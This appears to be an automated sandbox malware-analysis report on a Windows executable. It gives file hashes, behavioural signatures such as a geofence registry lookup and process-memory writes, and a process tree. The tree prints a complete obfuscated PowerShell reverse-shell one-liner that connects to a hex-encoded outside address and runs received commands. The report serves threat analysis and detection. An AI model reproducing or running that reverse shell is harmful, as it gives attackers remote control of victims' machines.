Analysis
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max time kernel
150s -
max time network
137s -
platform
windows10-2004_x64 -
resource
win10v2004-20230831-en -
resource tags
arch:x64arch:x86image:win10v2004-20230831-enlocale:en-usos:windows10-2004-x64system -
submitted
12-09-2023 08:24
Static task
static1
Behavioral task
behavioral1
Sample
067c95ad074afd8993281b02f74d0f257fb312943da0887355da652afb54c0ab.exe
Resource
win7-20230831-en
Behavioral task
behavioral2
Sample
067c95ad074afd8993281b02f74d0f257fb312943da0887355da652afb54c0ab.exe
Resource
win10v2004-20230831-en
General
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Target
067c95ad074afd8993281b02f74d0f257fb312943da0887355da652afb54c0ab.exe
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Size
107KB
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MD5
c974ffe23d57ec909ef26b55f202047e
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SHA1
ec6da5616d6b3b3269fababe104bfe04f2828717
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SHA256
067c95ad074afd8993281b02f74d0f257fb312943da0887355da652afb54c0ab
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SHA512
756977c99eb9a685201af8c27ce81e53e292af6c0d06726a86d7b67d4236e7057084b3545299d4cd4729c9d6c04fcb01c18868dff6d90273d029f8dcfea1899d
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SSDEEP
1536:zEHDqvM3NJX3i/5CxGKoUA6oAm3gWl59xxYalgnjbYnbwjrsW+A0U0jRiD:qqvM3Xi/5CxGKFMT9xxojmsgdnjsD
Malware Config
Signatures
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Blocklisted process makes network request 1 IoCs
flow pid Process 20 2856 powershell.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-2474409663-2236862430-1045297337-1000\Control Panel\International\Geo\Nation 067c95ad074afd8993281b02f74d0f257fb312943da0887355da652afb54c0ab.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Suspicious behavior: EnumeratesProcesses 3 IoCs
pid Process 1192 067c95ad074afd8993281b02f74d0f257fb312943da0887355da652afb54c0ab.exe 2856 powershell.exe 2856 powershell.exe -
Suspicious use of AdjustPrivilegeToken 2 IoCs
description pid Process Token: SeDebugPrivilege 1192 067c95ad074afd8993281b02f74d0f257fb312943da0887355da652afb54c0ab.exe Token: SeDebugPrivilege 2856 powershell.exe -
Suspicious use of WriteProcessMemory 2 IoCs
description pid Process procid_target PID 1192 wrote to memory of 2856 1192 067c95ad074afd8993281b02f74d0f257fb312943da0887355da652afb54c0ab.exe 86 PID 1192 wrote to memory of 2856 1192 067c95ad074afd8993281b02f74d0f257fb312943da0887355da652afb54c0ab.exe 86
Processes
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C:\Users\Admin\AppData\Local\Temp\067c95ad074afd8993281b02f74d0f257fb312943da0887355da652afb54c0ab.exe"C:\Users\Admin\AppData\Local\Temp\067c95ad074afd8993281b02f74d0f257fb312943da0887355da652afb54c0ab.exe"1⤵
- Checks computer location settings
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1192 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ep bypass -nop $WAHPsP0zOp = New-Object System.Net.Sockets.TCPClient('0x6247e8df',0x1f90);$nj8xSlL0gJ = $WAHPsP0zOp.GetStream();[byte[]]$rqsNZ3isrY = 0..65535|%{0};while(($0LX0Nu0ySD = $nj8xSlL0gJ.Read($rqsNZ3isrY, 0, $rqsNZ3isrY.Length)) -ne 0){;$em34Ly0XRy = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($rqsNZ3isrY,0, $0LX0Nu0ySD);$B3STzgCfAh = (i''ex $em34Ly0XRy 2>&1 | Out-String );$NDnRGZsp2y = $B3STzgCfAh + '<:30GJt2Kp5o:> ' + (pwd).Path + '> ';$os0HZbk4Kv = ([text.encoding]::ASCII).GetBytes($NDnRGZsp2y);$nj8xSlL0gJ.Write($os0HZbk4Kv,0,$os0HZbk4Kv.Length);$nj8xSlL0gJ.Flush()};$WAHPsP0zOp.Close()2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2856
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82